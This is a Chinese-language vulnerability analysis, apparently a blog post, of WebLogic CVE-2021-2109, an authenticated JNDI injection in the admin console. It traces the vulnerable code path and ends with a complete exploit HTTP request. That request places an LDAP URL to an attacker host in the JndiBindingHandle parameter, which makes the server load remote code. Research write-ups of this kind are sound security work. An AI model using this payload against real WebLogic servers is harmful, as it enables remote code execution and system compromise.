WebLogic CVE-2021-2109 JNDI RCE

console的JNDI注入，需要登录。

# 复现
1. weblogic 14.1.1
2. jdk8u112
3. [JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/88a5af7b-2cc7-055e-66a5-1e1727b0cc40.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/969d2268-9373-15f0-25ed-2a62093bf742.png)

# 分析
consolejndi.portal中存在`JNDIBindingPageGeneral` jndi绑定的东西

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/972f6ace-fefc-ac59-385c-a0235d375046.png)

具体的处理逻辑在`/PortalConfig/jndi/jndibinding.portlet`。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/3ab02991-4ad3-3ac6-54be-1cc58cf1a200.png)

在`com.bea.console.actions.jndi.JNDIBindingAction#execute`中就是处理逻辑

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c5c58a55-f497-d826-97fc-47e302529aca.png)

直接lookup了，就是要先过`serverMBean != null`的条件。

在`MBeanUtils.getAnyServerMBean(serverName)`中

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/466bfa75-8eee-6f9b-501e-c7a56cf37ae9.png)

有一个`lookupServer()`，使用的是动态代理调用的，跟进到`weblogic.management.jmx.MBeanServerInvocationHandler#invoke`

其中`method`值为

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/bc546359-0ce1-bd10-da7b-495aa2799680.png)

lookupServer就在这个类中`weblogic.management.configuration.DomainMBeanImpl#lookupServer`

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1017c6b0-5fba-bd56-f513-024d1775db46.png)

用动态调试把存在的serverBean弄出来，让传入的serverName等于他满足dowhile条件就能使返回的serverBean不为空了，即`AdminServer`。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/5f6b0720-7182-cf79-0c63-87e27f27400c.png)

现在serverBean不为空了，就要看jndi lookup的地址是否可控。

lookup的值有以下逻辑

```java
JndiBindingHandle bindingHandle = (JndiBindingHandle)this.getHandleContext(actionForm, request, "JNDIBinding");
String context = bindingHandle.getContext();
String bindName = bindingHandle.getBinding();
String serverName = bindingHandle.getServer();
String prefix = context;
String suffix = bindName;
if (prefix.length() > 0 && suffix.length() > 0) {
prefix = prefix + ".";
}
Object boundObj = c.lookup(prefix + suffix)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/46b388be-31d2-b28e-d426-9e4610ae808e.png)

前缀和后缀以及serverName都是从bindingHandle获取的，即JndiBindingHandle类，跟进bindingHandle.getContext()看下。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/04ed85c6-5ec6-aac5-8393-bb927df12bee.png)

调用自身getComponent方法

```java
    protected String getComponent(int index) {
        return this.getComponents()[index];
    }
```

```java
private String[] getComponents() {
    if (this.components == null) {
        String serialized = this.getObjectIdentifier();
        ArrayList componentList = new ArrayList();
        StringBuffer currentComponent = new StringBuffer();
        boolean lastWasSpecial = false;

        for(int i = 0; i < serialized.length(); ++i) {
            char c = serialized.charAt(i);
            if (lastWasSpecial) {
                if (c == '0') {
                    if (currentComponent == null) {
                        throw new AssertionError("Handle component already null : '" + serialized + '"');
                    }

                    if (currentComponent.length() > 0) {
                        throw new AssertionError("Null handle component preceeded by a character : '" + serialized + "'");
                    }

                    currentComponent = null;
                } else if (c == '\\') {
                    if (currentComponent == null) {
                        throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
                    }

                    currentComponent.append('\\');
                } else {
                    if (c != ';') {
                        throw new AssertionError("\\ in handle followed by a character :'" + serialized + "'");
                    }

                    if (currentComponent == null) {
                        throw new AssertionError("Null handle followed by ; : '" + serialized + "'");
                    }

                    currentComponent.append(';');
                }

                lastWasSpecial = false;
            } else if (c == '\\') {
                if (currentComponent == null) {
                    throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
                }

                lastWasSpecial = true;
            } else if (c == ';') {
                String component = currentComponent != null ? currentComponent.toString() : null;
                componentList.add(component);
                currentComponent = new StringBuffer();
            } else {
                if (currentComponent == null) {
                    throw new AssertionError("Null handle followed by  a character : '" + serialized + "'");
                }

                currentComponent.append(c);
            }
        }

        if (lastWasSpecial) {
            throw new AssertionError("Last character in handle is \\ :'" + serialized + "'");
        }

        String component = currentComponent != null ? currentComponent.toString() : null;
        componentList.add(component);
        this.components = (String[])((String[])componentList.toArray(new String[componentList.size()]));
    }

    return this.components;
}
```

整体逻辑就是用`;`号分割，相当于全部可控，造成jndi注入。

最后捋一下整体条件

1. `;`号隔开jndi地址
2. serverName必须为AdminServer

# exp
```
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://172.16.0;1:1389/aew0xy;AdminServer%22) HTTP/1.1
Host: 172.16.1.134:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.1.134:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=8Xk3Y9pCjDLlUARpWoE3rhia67n0LKY5xuTzTHfWxz1ITlNDOob1!1254895310
Connection: close


```
# 修复
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/35120e58-cf86-9785-cd34-3284791c7bbb.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/dff790ad-ba33-0a69-761c-7d65a0fa51a2.png)


# 参考
1. https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw